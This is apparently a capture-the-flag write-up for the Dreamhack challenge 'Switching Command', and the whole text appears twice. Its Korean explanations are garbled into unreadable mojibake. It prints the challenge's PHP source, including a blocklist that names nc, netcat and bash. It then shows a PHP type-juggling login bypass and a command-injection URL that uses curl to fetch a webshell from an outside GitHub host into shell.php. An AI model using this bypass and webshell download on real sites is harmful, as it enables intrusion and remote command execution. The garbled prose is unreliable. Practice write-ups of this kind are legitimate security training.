1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/1081
Switching Command
Description Not Friendly service... Can you switching the command?
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ์ ์
- username์ ์ ๋ ฅํ๋ form ํ๋ฉด์ด ๋ฌ๋ค.

์๋ฌด ์ ๋ณด๋ ์ ๋ ฅํ ๊ฒฝ์ฐ fail ํ๋ฉด์ด ๋ณด์ธ๋ค.
์ ๋ ฅ๊ฐ์ ํตํด JSON ๋ฐ์ดํฐ๋ฅผ ํ์ฑํด์ค๋ ๋ฌธ์ ๋ก ๋ณด์ธ๋ค.

(2) ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋

flag.c
ํ๋๊ทธ๋ flag.c ํ์ผ์ ์คํ์ํค๋ฉด ์ถ๋ ฅ๋์ด ํ์ธํ ์ ์๋ค.
#include <stdio.h>
void main()
{
puts("DH{**fake_flag**}\n");
}
์ค์ ๋ก ๋์ปค ํ์ผ์ ํ์ธํด๋ณด๋ฉด flag.c ํ์ผ์ ๋ฃจํธ ๋๋ ํ ๋ฆฌ์ ๋ณต์ฌํ ๋ค ์คํ ํ์ผ์ ์์ฑํ ๊ฒ์ ํ์ธํ ์ ์๋ค. (์ฝ๊ธฐ ์ฐ๊ธฐ x)
์ฆ, ์ฐ๋ฆฌ๋ ํ๋๊ทธ๋ฅผ ์ป๊ธฐ ์ํด์๋ ๋ฃจํธ ๋๋ ํ ๋ฆฌ์ ํ๋๊ทธ ์คํ ํ์ผ์ ์คํ์์ผ์ผ ํ๋ค.
FROM php:8.0-apache
RUN apt-get update && \
apt-get upgrade -y && \
apt-get install -y gcc curl netcat-traditional
RUN docker-php-ext-install mysqli
COPY ./deploy/src /var/www/html/
COPY ./flag.c /flag.c
RUN gcc /flag.c -o /flag && \
chmod 111 /flag && \
rm /flag.c
EXPOSE 80
index.php
- "username" ํ๋๋ฅผ JSON์ผ๋ก ํ์ฑ
- JSON์์ username ์์ฑ ์ถ์ถ
- username === "admin" : ์๊ฒฉํ ๋น๊ต ์ฐ์ฐ์ - ํ์ ๊น์ง ์ผ์นํ ๊ฒฝ์ฐ, "no hack" ๋ฉ์์ง ์ถ๋ ฅ ํ break
- switch ๋ฌธ์์ username์ ๋ค์ ๊ฒ์ฌ
- "admin"์ผ ๊ฒฝ์ฐ, admin ๊ถํ ๋ถ์ฌ
- ๋ค๋ฅธ ๊ฐ์ผ ๊ฒฝ์ฐ, guest ๊ถํ ๋ถ์ฌ
if ($_SERVER["REQUEST_METHOD"]=="POST"){
$data = json_decode($_POST["username"]);
if ($data === null) {
exit("Failed to parse JSON data");
}
$username = $data->username;
if($username === "admin" ){
exit("no hack");
}
switch($username){
case "admin":
$user = "admin";
$password = "***REDACTED***";
$stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt -> bind_param("ss",$user,$password);
$stmt -> execute();
$result = $stmt -> get_result();
if ($result -> num_rows == 1){
$_SESSION["auth"] = "admin";
header("Location: test.php");
} else {
$message = "Something wrong...";
}
break;
default:
$_SESSION["auth"] = "guest";
header("Location: test.php");
}
}
test.php
- auth === "admin" : admin์ธ์ง ๊ฒ์ฌ
- ํํฐ๋ง (flag|nc|netcat|bin|bash|rm|sh)
- /i: ๋์๋ฌธ์ ๊ตฌ๋ถ X
- \b: ๋จ์ด ๊ฒฝ๊ณ๋ก ๋๋์ผ ํจ
- \n : ์ค๋ฐ๊ฟ ๋ฐฉ์ง (๊ณต๋ฐฑ์ผ๋ก ์ฒ๋ฆฌ)
- preg_match ํจ์๋ฅผ ํตํด $sanitized_command(์ฌ์ฉ์ ์ ๋ ฅ ๋ช ๋ น์ด)์์ ํจํด์ด ๋ฐ๊ฒฌ๋๋ฉด true๋ฅผ ๋ฐํํ๊ณ , "No hack" ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ๊ณ ์คํฌ๋ฆฝํธ๋ฅผ ์ข ๋ฃํ๋ค.
- escapeshellcmd(): ๋ช
๋ น์ด์ ํฌํจ๋์ด์๋ ์์์ ํน๋ณํ ์๋ฏธ๋ฅผ ๊ฐ์ง ์ ์๋ ๋ฌธ์๋ค์ ์ด์ค์ผ์ดํํ๋ค.
- cmd๋ฅผ ํตํด GET ์์ฒญ์ ๋ฐ์ ๋ช ๋ น์ด๋ฅผ shell_exec()๋ก ์คํํ๊ณ ๊ฒฐ๊ณผ๋ฅผ $resulttt ๋ณ์์ ์ ์ฅํ๋ค.
- ์ด๋ admin์ ๊ฒฝ์ฐ, ๋ณ์๋ช ์ด resulttt์ด๊ณ HTML ์ถ๋ ฅ์์๋ result๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ ๊ฒฐ๊ณผ๊ฐ ํ๋ฉด์ ์ ์์ ์ผ๋ก ์ถ๋ ฅ๋์ง ์๋๋ค. ์ฆ, ์คํ์ ๋์ง๋ง ์คํ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์๋ค.
- ๋ง์ฝ test.php์์ ์คํ ๊ฒฐ๊ณผ๊ฐ ์ ์์ ์ผ๋ก ๋ณด์ฌ์ง๋ค๋ฉด ๋จ์ํ ํํฐ๋ง์ ์ฐํํด์ flag๋ฅผ ์คํ์ํค๋ฉด ๋์ง๋ง, ์คํ๋ง ๋๊ณ ๊ฒฐ๊ณผ๋ ๋ณด์ด์ง ์๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๊ณ ์ํด์ผ ํ๋ค.
- auth === guest ์ธ ๊ฒฝ์ฐ์๋ "echo hi guest" ๋ฌธ์์ด์ result์ ์ ๋ฌํ์ฌ ๋ช ๋ น์ด๋ฅผ ์คํํด ๋ฌธ์์ด์ ์ถ๋ ฅํ๋ค. (์์ ๋ช ๋ น๋ฌธ ์คํ ๋ถ๊ฐ๋ฅ)
<?php
include ("./config.php");
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';
if($_SESSION["auth"] === "admin"){
$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
$sanitized_command = str_replace("\n","",$command);
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
$resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
else if($_SESSION["auth"]=== "guest") {
$command = "echo hi guest";
$result = shell_exec($command);
}
else {
$result = "Authentication first";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Command Test</title>
</head>
<body>
<h2>Command Test</h2>
<?php
echo "<pre>$result</pre>";
?>
</body>
</html>
์ด ๋ฌธ์ ์ ์ ๋ชฉ๊ณผ ์ค๋ช ์์ ์ฝ๊ฐ์ ์คํฌ??๊ฐ ์์๋๋ฐ ๋ฐ๋ก ์ด ์๋ชป๋ ์ถ๋ ฅ ์ฝ๋์ ๋ํ ๊ฒ์ด๋ค.
Not Friendly service... Can you switching the command?
๋ฐ๋ผ์ ํํฐ๋ง ์ฐํ๋ฅผ ํตํด์ admin ๊ถํ์ ์ป๊ณ , ํ๋ฉด์ ์ ์์ ์ผ๋ก Result๊ฐ ์ถ๋ ฅ๋๋๋ก ํด์ผ ํ๋ค.
(3) ์ต์คํ๋ก์
๋จผ์ ํํฐ๋ง์ ๋์๋ฌธ์ ๊ตฌ๋ถ ๋ฑ์ด ์ ์ฉ๋์ด์๊ธฐ ๋๋ฌธ์ {"username":Admin} ๋ฑ๊ณผ ๊ฐ์ด ์ฐํํ๊ณ ์ ํ๋ฉด ๊ฒ์คํธ๋ก ์ ๊ทผ๋๋ค.
๋ฐ๋ผ์ ๋ค๋ฅธ ์ฐํ ๋ฐฉ๋ฒ์ ๊ณ ๋ คํด์ผ ํ๋ค.

ํํฐ๋ง์ if๋ฌธ๊ณผ switch ๋ฌธ์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
์ด๋, PHP์ switch - case ๋ฌธ์ ๋์จํ ๋น๊ต๋ฅผ ์ฌ์ฉํ๋ค.
[์ฐธ๊ณ ] https://php.365ok.co.kr/control-structures.switch.php
if($username === "admin" ){
exit("no hack");
}
switch($username){
case "admin":
์ฆ, ํํฐ๋ง์ 1) === ์๊ฒฉํ ๋น๊ต (ํ์ ๋ ๋์ผํ ๊ฒฝ์ฐ์๋ง ๊ฑธ๋ฆผ) 2) = ๋์จํ ๋น๊ต๋ฅผ ์ํํ๊ณ ์๋ค.
๋ฐ๋ผ์ ์๊ฒฉํ ๋น๊ต๋ฅผ ์ฐํํ๊ธฐ ์ํด์๋ ํ์ ์ ๋ค๋ฅด๊ฒ ํด์ false๋ฅผ ๋ง๋ค์ด๋ด๊ณ , 2๋ฒ์งธ ๋์จํ ๋น๊ต ์ฐํ์์๋ ์ด์ ์ ๋ค๋ค๋ณธ์ ์๋
type juggling ์ทจ์ฝ์ ์ ์ต์คํ๋ก์ํ์ฌ true๋ฅผ ๋ง๋ค๋ฉด ๋๋ค.

์์ ๊ฐ์ด ๋ฌธ์์ด๊ณผ true๋ฅผ ๋น๊ตํ๋ฉด true๋ฅผ ๋ฐํํ๊ฒ ๋๋ฏ๋ก ์ด๋ฅผ ์ด์ฉํด์ {"username":true}๋ฅผ ์ ๋ ฅํ๋ฉด
์๋์ ์ด์ ๋ก admin ๊ถํ์ ์ป์ ์ ์์ ๊ฒ์ด๋ค.
- true === "admin"์ ํ์ ์ด ๋ค๋ฅด๋ฏ๋ก(๋ถ๋ฆฌ์ธ vs ๋ฌธ์์ด) false ๋ฆฌํด -> switch๋ฌธ ์ง์
- switch($username): ๋ฌธ์์ด๊ณผ true ๋น๊ต -> true ๋ฐํ

์ด๋๋ฏผ ๊ถํ์ ์ป์์ผ๋ฏ๋ก, ํ๋ฉด์ ๊ฒฐ๊ณผ๋ ๋ณด์ง ๋ชปํ์ง๋ง ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ ์ ์๋ ๊ถํ์ ๊ฐ์ง๊ฒ ๋๋ค.
์ด๋ด๋์๋ ์น์์ ์ ๋ก๋ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํ์ํจ ๋ค, ์น์์ ํตํด ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ๊ณ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ๋ฉด ๋๋ค.
๋ฐ๋ผ์ ์น์์ ์ ๋ก๋ํ ๋ค, ํด๋น ๊ฒฝ๋ก๋ก ์ด๋ํด์ flagํ์ผ์ ์คํํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ๊ฒ์ด๋ค.
๋จผ์ curl ์ ์ด์ฉํด์ ๊ฐ๋จํ ์น์์ ์ ๋ก๋ ํด์ค๋ค
/test.php?cmd=curl%20https://raw.githubusercontent.com/mnzy412/webshell/refs/heads/main/webshell%20-o%20shell.php
์ดํ /shell.php ๋ก ์ด๋ํด์ฃผ๋ฉด ์ ๋ก๋ํ ์น์์ด ์คํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

์ค์ ๋ก ๋ฃจํธ ๋๋ ํ ๋ฆฌ ์๋์ flag ์คํ ํ์ผ์ด ์กด์ฌํ๋ ๊ฒ ๋ํ ํ์ธํ ์ ์๋ค.

๋ฐ๋ผ์, /flag ๋ฅผ ์ ๋ ฅํ์ฌ ์คํํด์ฃผ๋ฉด ํ๋๊ทธ๋ฅผ ํ์ธํ ์ ์๋ค.

1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/1081
Switching Command
Description Not Friendly service... Can you switching the command?
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ์ ์
- username์ ์ ๋ ฅํ๋ form ํ๋ฉด์ด ๋ฌ๋ค.

์๋ฌด ์ ๋ณด๋ ์ ๋ ฅํ ๊ฒฝ์ฐ fail ํ๋ฉด์ด ๋ณด์ธ๋ค.
์ ๋ ฅ๊ฐ์ ํตํด JSON ๋ฐ์ดํฐ๋ฅผ ํ์ฑํด์ค๋ ๋ฌธ์ ๋ก ๋ณด์ธ๋ค.

(2) ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋

flag.c
ํ๋๊ทธ๋ flag.c ํ์ผ์ ์คํ์ํค๋ฉด ์ถ๋ ฅ๋์ด ํ์ธํ ์ ์๋ค.
#include <stdio.h> void main() { puts("DH{**fake_flag**}\n"); }
์ค์ ๋ก ๋์ปค ํ์ผ์ ํ์ธํด๋ณด๋ฉด flag.c ํ์ผ์ ๋ฃจํธ ๋๋ ํ ๋ฆฌ์ ๋ณต์ฌํ ๋ค ์คํ ํ์ผ์ ์์ฑํ ๊ฒ์ ํ์ธํ ์ ์๋ค. (์ฝ๊ธฐ ์ฐ๊ธฐ x)
์ฆ, ์ฐ๋ฆฌ๋ ํ๋๊ทธ๋ฅผ ์ป๊ธฐ ์ํด์๋ ๋ฃจํธ ๋๋ ํ ๋ฆฌ์ ํ๋๊ทธ ์คํ ํ์ผ์ ์คํ์์ผ์ผ ํ๋ค.
FROM php:8.0-apache RUN apt-get update && \ apt-get upgrade -y && \ apt-get install -y gcc curl netcat-traditional RUN docker-php-ext-install mysqli COPY ./deploy/src /var/www/html/ COPY ./flag.c /flag.c RUN gcc /flag.c -o /flag && \ chmod 111 /flag && \ rm /flag.c EXPOSE 80
index.php
- "username" ํ๋๋ฅผ JSON์ผ๋ก ํ์ฑ
- JSON์์ username ์์ฑ ์ถ์ถ
- username === "admin" : ์๊ฒฉํ ๋น๊ต ์ฐ์ฐ์ - ํ์ ๊น์ง ์ผ์นํ ๊ฒฝ์ฐ, "no hack" ๋ฉ์์ง ์ถ๋ ฅ ํ break
- switch ๋ฌธ์์ username์ ๋ค์ ๊ฒ์ฌ
- "admin"์ผ ๊ฒฝ์ฐ, admin ๊ถํ ๋ถ์ฌ
- ๋ค๋ฅธ ๊ฐ์ผ ๊ฒฝ์ฐ, guest ๊ถํ ๋ถ์ฌ
if ($_SERVER["REQUEST_METHOD"]=="POST"){ $data = json_decode($_POST["username"]); if ($data === null) { exit("Failed to parse JSON data"); } $username = $data->username; if($username === "admin" ){ exit("no hack"); } switch($username){ case "admin": $user = "admin"; $password = "***REDACTED***"; $stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt -> bind_param("ss",$user,$password); $stmt -> execute(); $result = $stmt -> get_result(); if ($result -> num_rows == 1){ $_SESSION["auth"] = "admin"; header("Location: test.php"); } else { $message = "Something wrong..."; } break; default: $_SESSION["auth"] = "guest"; header("Location: test.php"); } }
test.php
- auth === "admin" : admin์ธ์ง ๊ฒ์ฌ
- ํํฐ๋ง (flag|nc|netcat|bin|bash|rm|sh)
- /i: ๋์๋ฌธ์ ๊ตฌ๋ถ X
- \b: ๋จ์ด ๊ฒฝ๊ณ๋ก ๋๋์ผ ํจ
- \n : ์ค๋ฐ๊ฟ ๋ฐฉ์ง (๊ณต๋ฐฑ์ผ๋ก ์ฒ๋ฆฌ)
- preg_match ํจ์๋ฅผ ํตํด $sanitized_command(์ฌ์ฉ์ ์ ๋ ฅ ๋ช ๋ น์ด)์์ ํจํด์ด ๋ฐ๊ฒฌ๋๋ฉด true๋ฅผ ๋ฐํํ๊ณ , "No hack" ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ๊ณ ์คํฌ๋ฆฝํธ๋ฅผ ์ข ๋ฃํ๋ค.
- escapeshellcmd(): ๋ช
๋ น์ด์ ํฌํจ๋์ด์๋ ์์์ ํน๋ณํ ์๋ฏธ๋ฅผ ๊ฐ์ง ์ ์๋ ๋ฌธ์๋ค์ ์ด์ค์ผ์ดํํ๋ค.
- cmd๋ฅผ ํตํด GET ์์ฒญ์ ๋ฐ์ ๋ช ๋ น์ด๋ฅผ shell_exec()๋ก ์คํํ๊ณ ๊ฒฐ๊ณผ๋ฅผ $resulttt ๋ณ์์ ์ ์ฅํ๋ค.
- ์ด๋ admin์ ๊ฒฝ์ฐ, ๋ณ์๋ช ์ด resulttt์ด๊ณ HTML ์ถ๋ ฅ์์๋ result๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ ๊ฒฐ๊ณผ๊ฐ ํ๋ฉด์ ์ ์์ ์ผ๋ก ์ถ๋ ฅ๋์ง ์๋๋ค. ์ฆ, ์คํ์ ๋์ง๋ง ์คํ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์๋ค.
- ๋ง์ฝ test.php์์ ์คํ ๊ฒฐ๊ณผ๊ฐ ์ ์์ ์ผ๋ก ๋ณด์ฌ์ง๋ค๋ฉด ๋จ์ํ ํํฐ๋ง์ ์ฐํํด์ flag๋ฅผ ์คํ์ํค๋ฉด ๋์ง๋ง, ์คํ๋ง ๋๊ณ ๊ฒฐ๊ณผ๋ ๋ณด์ด์ง ์๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๊ณ ์ํด์ผ ํ๋ค.
- auth === guest ์ธ ๊ฒฝ์ฐ์๋ "echo hi guest" ๋ฌธ์์ด์ result์ ์ ๋ฌํ์ฌ ๋ช ๋ น์ด๋ฅผ ์คํํด ๋ฌธ์์ด์ ์ถ๋ ฅํ๋ค. (์์ ๋ช ๋ น๋ฌธ ์คํ ๋ถ๊ฐ๋ฅ)
<?php include ("./config.php"); $pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i'; if($_SESSION["auth"] === "admin"){ $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls"; $sanitized_command = str_replace("\n","",$command); if (preg_match($pattern, $sanitized_command)){ exit("No hack"); } $resulttt = shell_exec(escapeshellcmd($sanitized_command)); } else if($_SESSION["auth"]=== "guest") { $command = "echo hi guest"; $result = shell_exec($command); } else { $result = "Authentication first"; } ?> <!DOCTYPE html> <html> <head> <title>Command Test</title> </head> <body> <h2>Command Test</h2> <?php echo "<pre>$result</pre>"; ?> </body> </html>
์ด ๋ฌธ์ ์ ์ ๋ชฉ๊ณผ ์ค๋ช ์์ ์ฝ๊ฐ์ ์คํฌ??๊ฐ ์์๋๋ฐ ๋ฐ๋ก ์ด ์๋ชป๋ ์ถ๋ ฅ ์ฝ๋์ ๋ํ ๊ฒ์ด๋ค.
Not Friendly service... Can you switching the command?
๋ฐ๋ผ์ ํํฐ๋ง ์ฐํ๋ฅผ ํตํด์ admin ๊ถํ์ ์ป๊ณ , ํ๋ฉด์ ์ ์์ ์ผ๋ก Result๊ฐ ์ถ๋ ฅ๋๋๋ก ํด์ผ ํ๋ค.
(3) ์ต์คํ๋ก์
๋จผ์ ํํฐ๋ง์ ๋์๋ฌธ์ ๊ตฌ๋ถ ๋ฑ์ด ์ ์ฉ๋์ด์๊ธฐ ๋๋ฌธ์ {"username":Admin} ๋ฑ๊ณผ ๊ฐ์ด ์ฐํํ๊ณ ์ ํ๋ฉด ๊ฒ์คํธ๋ก ์ ๊ทผ๋๋ค.
๋ฐ๋ผ์ ๋ค๋ฅธ ์ฐํ ๋ฐฉ๋ฒ์ ๊ณ ๋ คํด์ผ ํ๋ค.

ํํฐ๋ง์ if๋ฌธ๊ณผ switch ๋ฌธ์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
์ด๋, PHP์ switch - case ๋ฌธ์ ๋์จํ ๋น๊ต๋ฅผ ์ฌ์ฉํ๋ค.
[์ฐธ๊ณ ] https://php.365ok.co.kr/control-structures.switch.php
if($username === "admin" ){ exit("no hack"); } switch($username){ case "admin":
์ฆ, ํํฐ๋ง์ 1) === ์๊ฒฉํ ๋น๊ต (ํ์ ๋ ๋์ผํ ๊ฒฝ์ฐ์๋ง ๊ฑธ๋ฆผ) 2) = ๋์จํ ๋น๊ต๋ฅผ ์ํํ๊ณ ์๋ค.
๋ฐ๋ผ์ ์๊ฒฉํ ๋น๊ต๋ฅผ ์ฐํํ๊ธฐ ์ํด์๋ ํ์ ์ ๋ค๋ฅด๊ฒ ํด์ false๋ฅผ ๋ง๋ค์ด๋ด๊ณ , 2๋ฒ์งธ ๋์จํ ๋น๊ต ์ฐํ์์๋ ์ด์ ์ ๋ค๋ค๋ณธ์ ์๋
type juggling ์ทจ์ฝ์ ์ ์ต์คํ๋ก์ํ์ฌ true๋ฅผ ๋ง๋ค๋ฉด ๋๋ค.

์์ ๊ฐ์ด ๋ฌธ์์ด๊ณผ true๋ฅผ ๋น๊ตํ๋ฉด true๋ฅผ ๋ฐํํ๊ฒ ๋๋ฏ๋ก ์ด๋ฅผ ์ด์ฉํด์ {"username":true}๋ฅผ ์ ๋ ฅํ๋ฉด
์๋์ ์ด์ ๋ก admin ๊ถํ์ ์ป์ ์ ์์ ๊ฒ์ด๋ค.
- true === "admin"์ ํ์ ์ด ๋ค๋ฅด๋ฏ๋ก(๋ถ๋ฆฌ์ธ vs ๋ฌธ์์ด) false ๋ฆฌํด -> switch๋ฌธ ์ง์
- switch($username): ๋ฌธ์์ด๊ณผ true ๋น๊ต -> true ๋ฐํ

์ด๋๋ฏผ ๊ถํ์ ์ป์์ผ๋ฏ๋ก, ํ๋ฉด์ ๊ฒฐ๊ณผ๋ ๋ณด์ง ๋ชปํ์ง๋ง ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ ์ ์๋ ๊ถํ์ ๊ฐ์ง๊ฒ ๋๋ค.
์ด๋ด๋์๋ ์น์์ ์ ๋ก๋ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํ์ํจ ๋ค, ์น์์ ํตํด ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ๊ณ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ๋ฉด ๋๋ค.
๋ฐ๋ผ์ ์น์์ ์ ๋ก๋ํ ๋ค, ํด๋น ๊ฒฝ๋ก๋ก ์ด๋ํด์ flagํ์ผ์ ์คํํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ๊ฒ์ด๋ค.
๋จผ์ curl ์ ์ด์ฉํด์ ๊ฐ๋จํ ์น์์ ์ ๋ก๋ ํด์ค๋ค
/test.php?cmd=curl%20https://raw.githubusercontent.com/mnzy412/webshell/refs/heads/main/webshell%20-o%20shell.php
์ดํ /shell.php ๋ก ์ด๋ํด์ฃผ๋ฉด ์ ๋ก๋ํ ์น์์ด ์คํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

์ค์ ๋ก ๋ฃจํธ ๋๋ ํ ๋ฆฌ ์๋์ flag ์คํ ํ์ผ์ด ์กด์ฌํ๋ ๊ฒ ๋ํ ํ์ธํ ์ ์๋ค.

๋ฐ๋ผ์, /flag ๋ฅผ ์ ๋ ฅํ์ฌ ์คํํด์ฃผ๋ฉด ํ๋๊ทธ๋ฅผ ํ์ธํ ์ ์๋ค.
